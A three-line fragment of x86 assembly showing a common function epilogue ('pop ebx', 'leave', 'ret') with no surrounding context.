pop ebx
leave
ret